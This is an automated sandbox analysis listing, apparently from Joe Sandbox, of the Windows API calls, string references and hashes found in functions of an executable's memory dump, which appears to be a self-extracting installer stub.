_swprintf.LIBCMT ref: 003220B6

Part of subcall function 00314A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00314A33

AllocConsole.KERNEL32 ref: 003220BE
GetCurrentProcessId.KERNEL32 ref: 003220C8
AttachConsole.KERNEL32(00000000), ref: 003220CF
_wcslen.LIBCMT ref: 003220E4
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 003220F5
WriteConsoleW.KERNEL32(00000000), ref: 003220FC
Sleep.KERNEL32(00002710), ref: 00322107
FreeConsole.KERNEL32 ref: 0032210D
ExitProcess.KERNEL32 ref: 00322115

Strings

@N4, xrefs: 00321C77
$P4, xrefs: 00321D29
xR4, xrefs: 00321E31
DO4, xrefs: 00321CCF
(N4, xrefs: 00321C6F
\R4, xrefs: 00321E26
M4, xrefs: 00321FD9, 00321FE9
(R4, xrefs: 00321E10
SetDefaultDllDirectories, xrefs: 00321BD9
xP4, xrefs: 00321D4A
dQ4, xrefs: 00321DB8
pM4, xrefs: 00321C2F
kernel32, xrefs: 00321B93
DXGIDebug.dll, xrefs: 00321F7E
uxtheme.dll, xrefs: 00322037
tO4, xrefs: 00321CDF
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 003220A4
,O4, xrefs: 00321CC7
dwmapi.dll, xrefs: 00321C47, 0032202D
`P4, xrefs: 00321D3F
xQ4, xrefs: 00321DC3
SetDllDirectoryW, xrefs: 00321BA8
\O4, xrefs: 00321CD7
$M4, xrefs: 00321EBE, 00321EC2
XM4, xrefs: 00321C24
4Q4, xrefs: 00321DA2
LQ4, xrefs: 00321DAD
<P4, xrefs: 00321D34
<M4, xrefs: 00321C1C
N4, xrefs: 00321CAF
XN4, xrefs: 00321C7F
pN4, xrefs: 00321C87
$Q4, xrefs: 00321D97
DR4, xrefs: 00321E1B

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l_wcslen
String ID: $M4$$P4$$Q4$(N4$(R4$,O4$4Q4$<M4$<P4$@N4$DO4$DR4$DXGIDebug.dll$LQ4$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$XM4$XN4$\O4$\R4$`P4$dQ4$dwmapi.dll$kernel32$pM4$pN4$tO4$uxtheme.dll$xP4$xQ4$xR4$M4$N4
API String ID: 1207345701-4108843577
Opcode ID: 522bfc9f70282aab9cb35dddbe75712597b8bc3b2a542b44d5bca72b6283f49e
Instruction ID: c950abe48a562f0f03cb4ff81d5d991b4096e6320df113ef39f7a96db4386ac1
Opcode Fuzzy Hash: 522bfc9f70282aab9cb35dddbe75712597b8bc3b2a542b44d5bca72b6283f49e
Instruction Fuzzy Hash: 40D1A1B9408794ABD733DF509949BDFBBECBB85704F40092DF2899E151CBB0A548CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0031ED87 Relevance: 23.4, APIs: 4, Strings: 9, Instructions: 663COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0031ED90
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 0031EDCC

Part of subcall function 0031D6A7: _wcslen.LIBCMT ref: 0031D6AF

Part of subcall function 00321907: _wcslen.LIBCMT ref: 0032190D

Part of subcall function 00322ED2: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,0031CF18,00000000,?,?), ref: 00322EEE

_wcslen.LIBCMT ref: 0031F109
__fprintf_l.LIBCMT ref: 0031F23C

Strings

R, xrefs: 0031EF2C
,, xrefs: 0031F277
*messages***, xrefs: 0031EEE1
, xrefs: 0031F08C
$%s:, xrefs: 0031F21F
RTL, xrefs: 0031F1FE
*messages***, xrefs: 0031EF1A
a, xrefs: 0031EF36
@%s:, xrefs: 0031F226, 0031F232

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: _wcslen$ByteCharFileH_prologModuleMultiNameWide__fprintf_l
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a
API String ID: 566448164-801612888
Opcode ID: 804b06d83274b04772aad2d66fbc3da8454e6e8d4bafda8f44d81636e0d2430d
Instruction ID: 1a894141064539a44337ffe77a07d6e86ca273d735f38d155c3a0f364c0d112f
Opcode Fuzzy Hash: 804b06d83274b04772aad2d66fbc3da8454e6e8d4bafda8f44d81636e0d2430d
Instruction Fuzzy Hash: 5832D075900218AFCF2ADF68C881AEA77A9FF0C710F41456AF9069B291EB71DDC5CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0032E619 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0032C758: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0032C769
Part of subcall function 0032C758: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0032C77A
Part of subcall function 0032C758: IsDialogMessageW.USER32(00020486,?), ref: 0032C78E
Part of subcall function 0032C758: TranslateMessage.USER32(?), ref: 0032C79C
Part of subcall function 0032C758: DispatchMessageW.USER32(?), ref: 0032C7A6

GetDlgItem.USER32(00000068,00371CF0), ref: 0032E62D
ShowWindow.USER32(00000000,00000005,?,?,00000001,?,?,0032C9A9,003460F0,00371CF0,00371CF0,00001000,?,00000000,?), ref: 0032E655
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0032E660
SendMessageW.USER32(00000000,000000C2,00000000,003445F4), ref: 0032E66E
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0032E684
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 0032E69E
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0032E6E2
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 0032E6F0
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0032E6FF
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0032E726
SendMessageW.USER32(00000000,000000C2,00000000,0034549C), ref: 0032E735

Strings

\, xrefs: 0032E68E

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: 1849a1ca69e3302fabc2bc0785c5fff31b43d8c02e9d2255a53deefda447a26d
Instruction ID: eb9f788f01c17f5d4494047953326439fd3d87cc25c11b243faba542e041571c
Opcode Fuzzy Hash: 1849a1ca69e3302fabc2bc0785c5fff31b43d8c02e9d2255a53deefda447a26d
Instruction Fuzzy Hash: 883126B1145B40BFD713DF20EC0AFAF3FACFB42306F900918F5A1961A1C7A459058BA6

Uniqueness

Uniqueness Score: -1.00%

Function 0032E8DF Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 184
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 0032E8FE
ShellExecuteExW.SHELL32(?), ref: 0032EA2E
IsWindowVisible.USER32(?), ref: 0032EA61
ShowWindow.USER32(?,00000000), ref: 0032EA6D
WaitForInputIdle.USER32(?,000007D0), ref: 0032EA7E
GetExitCodeProcess.KERNEL32(?,?), ref: 0032EAA9
CloseHandle.KERNEL32(?), ref: 0032EACF
ShowWindow.USER32(?,00000001), ref: 0032EB31

Strings

.inf, xrefs: 0032E9EA
.exe, xrefs: 0032EAD9
Ld4, xrefs: 0032E9F9

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: Window$Show$CloseCodeExecuteExitHandleIdleInputProcessShellVisibleWait_wcslen
String ID: .exe$.inf$Ld4
API String ID: 3646668279-4202968764
Opcode ID: 15869eccb10596659f5c6e0434fd42e2f6a5b828c9df8d189278bc9a1d18c625
Instruction ID: c1df1d29019202dcd5ae3a1bc47d214b2ec108b3225bbdf4596661e768f664a5
Opcode Fuzzy Hash: 15869eccb10596659f5c6e0434fd42e2f6a5b828c9df8d189278bc9a1d18c625
Instruction Fuzzy Hash: F05103314083A09ADB33DB64B846BAB7BE8BF41740F0A481EF5C597190EBB59884CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0032B6D2 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 100
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNELBASE(?,PNG,00000000,?,?,?,0032C92D,00000066), ref: 0032B6E5
SizeofResource.KERNEL32(00000000,?,?,?,0032C92D,00000066), ref: 0032B6FC
LoadResource.KERNEL32(00000000,?,?,?,0032C92D,00000066), ref: 0032B713
LockResource.KERNEL32(00000000,?,?,?,0032C92D,00000066), ref: 0032B722
GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,0032C92D,00000066), ref: 0032B73D
GlobalLock.KERNEL32(00000000,?,?,?,?,?,0032C92D,00000066), ref: 0032B74E
GlobalUnlock.KERNEL32(00000000), ref: 0032B7D6

Part of subcall function 0032B636: GdipAlloc.GDIPLUS(00000010), ref: 0032B63C

GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 0032B7B7
GlobalFree.KERNEL32(00000000), ref: 0032B7DD

Strings

PNG, xrefs: 0032B6D6

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: GlobalResource$AllocGdipLock$BitmapCreateFindFreeFromLoadSizeofUnlock
String ID: PNG
API String ID: 541704414-364855578
Opcode ID: 97592da754835bbededcb0ede245b2d337bdf94149e5bcfce6239b8324f775ce
Instruction ID: cf09d282528dc2c0a5aa48b073e0d0f9e6c992d69150febdec62abee16ae81fa
Opcode Fuzzy Hash: 97592da754835bbededcb0ede245b2d337bdf94149e5bcfce6239b8324f775ce
Instruction Fuzzy Hash: A6316175600712AFD7139F65EC88E1BBFACEF85791F060528F905D6261EF31E844CAA0

Uniqueness

Uniqueness Score: -1.00%

Function 0033BB1B Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,003369A3,003369A3,?,?,?,0033BD6C,00000001,00000001,62E85006), ref: 0033BB75
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,0033BD6C,00000001,00000001,62E85006,?,?,?), ref: 0033BBFB
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,62E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0033BCF5
__freea.LIBCMT ref: 0033BD02

Part of subcall function 0033A7FE: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0033DBEC,00000000,?,003380B1,?,00000008,?,0033A871,?,?,?), ref: 0033A830

__freea.LIBCMT ref: 0033BD0B
__freea.LIBCMT ref: 0033BD30

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: f2077ea574f4ff2a16ed0bde7dd2c0b46eef421827e5f6589cca05d32c8315f0
Instruction ID: 6939df570cc2a0b848c1ebeb7fab71e35349c880d2daf92354f2ed7ef550b3af
Opcode Fuzzy Hash: f2077ea574f4ff2a16ed0bde7dd2c0b46eef421827e5f6589cca05d32c8315f0
Instruction Fuzzy Hash: 9551D172610216ABEB268F64DCC2EBFB7A9EF44750F164629FE05DA150DB35EC80C690

Uniqueness

Uniqueness Score: -1.00%

Function 0032C324 Relevance: 9.1, APIs: 6, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00020008,0032BF14,?,?,?,?,0032BF14,?), ref: 0032C333
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,0032BF14,?), ref: 0032C33A
GetTokenInformation.KERNELBASE(0032BF14,00000001(TokenIntegrityLevel),00000000,00000000,?,?,?,?,?,0032BF14,?), ref: 0032C354
GetLastError.KERNEL32(?,?,?,?,0032BF14,?), ref: 0032C35E
GetTokenInformation.KERNELBASE(0032BF14,00000001(TokenIntegrityLevel),00000000,?,?,?,?,?,?,?,0032BF14,?), ref: 0032C382
CopySid.ADVAPI32(00000044,0032BF14,00000000,?,?,?,?,?,0032BF14,?), ref: 0032C393

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: Token$InformationProcess$CopyCurrentErrorLastOpen
String ID:
API String ID: 3984476752-0
Opcode ID: a17c7e14369b8c6ff36b877a478283c87c2c697509bb5d06f9745ef860890103
Instruction ID: a8168a08f4d697a5ac4a8d6005a6c3cee3eed1235c2a11f4a41a4ee622b6165f
Opcode Fuzzy Hash: a17c7e14369b8c6ff36b877a478283c87c2c697509bb5d06f9745ef860890103
Instruction Fuzzy Hash: CB018076510218FFEB269BA0FC89EEEBB6DEF05340F104425F609D5050D6758E90AA60

Uniqueness

Uniqueness Score: -1.00%

Function 0032ED8B Relevance: 9.0, APIs: 6, Instructions: 42
windowsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 0032ED97
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0032EDB1
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0032EDC2
TranslateMessage.USER32(?), ref: 0032EDCC
DispatchMessageW.USER32(?), ref: 0032EDD6
WaitForSingleObject.KERNEL32(?,0000000A), ref: 0032EDE1

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: Message$ObjectSingleWait$DispatchPeekTranslate
String ID:
API String ID: 2148572870-0
Opcode ID: 6720d8ffb9c12a6de53547f902a882a4ff44211fd3d9457c9ed5807851eb7f78
Instruction ID: 6abb76a1d7dedb47ad965a27a89a027c3ddc4175fa15c8a129021ee5ad4a94b9
Opcode Fuzzy Hash: 6720d8ffb9c12a6de53547f902a882a4ff44211fd3d9457c9ed5807851eb7f78
Instruction Fuzzy Hash: 89F03776A01629ABCB326BA5EC4DECFBE6CEF42391F108421B60AD6050D6749595CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 0032DFCC Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 0032DFE2

Part of subcall function 0031CAA0: _wcslen.LIBCMT ref: 0031CAA6

_swprintf.LIBCMT ref: 0032E016

Part of subcall function 00314A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00314A33

SetDlgItemTextW.USER32(?,00000066,00362892), ref: 0032E036
EndDialog.USER32(?,00000001), ref: 0032E143

Strings

%s%s%u, xrefs: 0032E00B

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcslen
String ID: %s%s%u
API String ID: 110358324-1360425832
Opcode ID: 314528a8e3ac3e60cc00d5fc45e0945eba869a6101919f6ec2bdf4d2113e65a3
Instruction ID: c80715afed92df4a78c51b89cef7f22d051e69c91e5a73d8f9af74c76e1cf60c
Opcode Fuzzy Hash: 314528a8e3ac3e60cc00d5fc45e0945eba869a6101919f6ec2bdf4d2113e65a3
Instruction Fuzzy Hash: 57416475900628AADF27DB65DC45FEA77BCEB04700F4180A6F909AB051EF709A84CF61

Uniqueness

Uniqueness Score: -1.00%

Function 0032BD1B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00321B3B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00321B56
Part of subcall function 00321B3B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0032063A,Crypt32.dll,00000000,003206B4,00000200,?,00320697,00000000,00000000,?), ref: 00321B78

OleInitialize.OLE32(00000000), ref: 0032BD34
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 0032BD6B
SHGetMalloc.SHELL32(0035A460), ref: 0032BD75

Strings

3To, xrefs: 0032BD4C
riched20.dll, xrefs: 0032BD23

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll$3To
API String ID: 3498096277-2168385784
Opcode ID: 328b5b1ad6f3eb55ca601475134c2ad635d182b207a35f34e1fe67cbc0e87231
Instruction ID: 078d5d6d0df2837358a4a8107f353b4f47d912f7ac8ac83a643f001bba7f632e
Opcode Fuzzy Hash: 328b5b1ad6f3eb55ca601475134c2ad635d182b207a35f34e1fe67cbc0e87231
Instruction Fuzzy Hash: E9F062B1D00219AFCB21AF95D8499EFFFFCEF80301F004016E405E2210D7B45645CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00320627 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00321B3B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00321B56
Part of subcall function 00321B3B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0032063A,Crypt32.dll,00000000,003206B4,00000200,?,00320697,00000000,00000000,?), ref: 00321B78

GetProcAddress.KERNELBASE(00000000,CryptProtectMemory), ref: 00320646
GetProcAddress.KERNEL32(0035A1F0,CryptUnprotectMemory), ref: 00320656

Strings

CryptProtectMemory, xrefs: 00320640
Crypt32.dll, xrefs: 00320630
CryptUnprotectMemory, xrefs: 0032064C

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: 52835241185059a2cc2cd89223d8023681ea0799b4a840f714e2972647f05e85
Instruction ID: 8bb9e982a03bba7ae300dc0eeaad4f6189f6b72879363e3bcf2bf45eb3270613
Opcode Fuzzy Hash: 52835241185059a2cc2cd89223d8023681ea0799b4a840f714e2972647f05e85
Instruction Fuzzy Hash: 69E08670804B215ED7335F74B949B42BFE4DF15700F05882DE2D59B151DAB4E4508B50

Uniqueness

Uniqueness Score: -1.00%

Function 0031AB40 Relevance: 7.6, APIs: 5, Instructions: 111
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,08000000,00000000,?,00000000,?,?,00318243,?,00000005,?,00000011), ref: 0031ABBF
GetLastError.KERNEL32(?,?,00318243,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 0031ABCC
CreateFileW.KERNEL32(00000000,?,?,00000000,00000003,08000000,00000000,?,?,00000800,?,?,00318243,?,00000005,?), ref: 0031AC02
GetLastError.KERNEL32(?,?,00318243,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 0031AC0A
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,00318243,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 0031AC59

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 50f36461eedadd4737330a19e05ec4ab0985169d522cd338754381791045db70
Instruction ID: 9486339b12b42c11872ced6ebf7ca9d18169a201b3cfe9bbb1a8a858cd8bcf9f
Opcode Fuzzy Hash: 50f36461eedadd4737330a19e05ec4ab0985169d522cd338754381791045db70
Instruction Fuzzy Hash: CA316830549B816FE7369F24DC45BDABBE8BB09321F100B29F5A0861D1C7B1A8D4CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 0032BEFF Relevance: 7.6, APIs: 5, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0032C324: GetCurrentProcess.KERNEL32(00020008,0032BF14,?,?,?,?,0032BF14,?), ref: 0032C333
Part of subcall function 0032C324: OpenProcessToken.ADVAPI32(00000000,?,?,?,?,0032BF14,?), ref: 0032C33A
Part of subcall function 0032C324: GetTokenInformation.KERNELBASE(0032BF14,00000001(TokenIntegrityLevel),00000000,00000000,?,?,?,?,?,0032BF14,?), ref: 0032C354
Part of subcall function 0032C324: GetLastError.KERNEL32(?,?,?,?,0032BF14,?), ref: 0032C35E
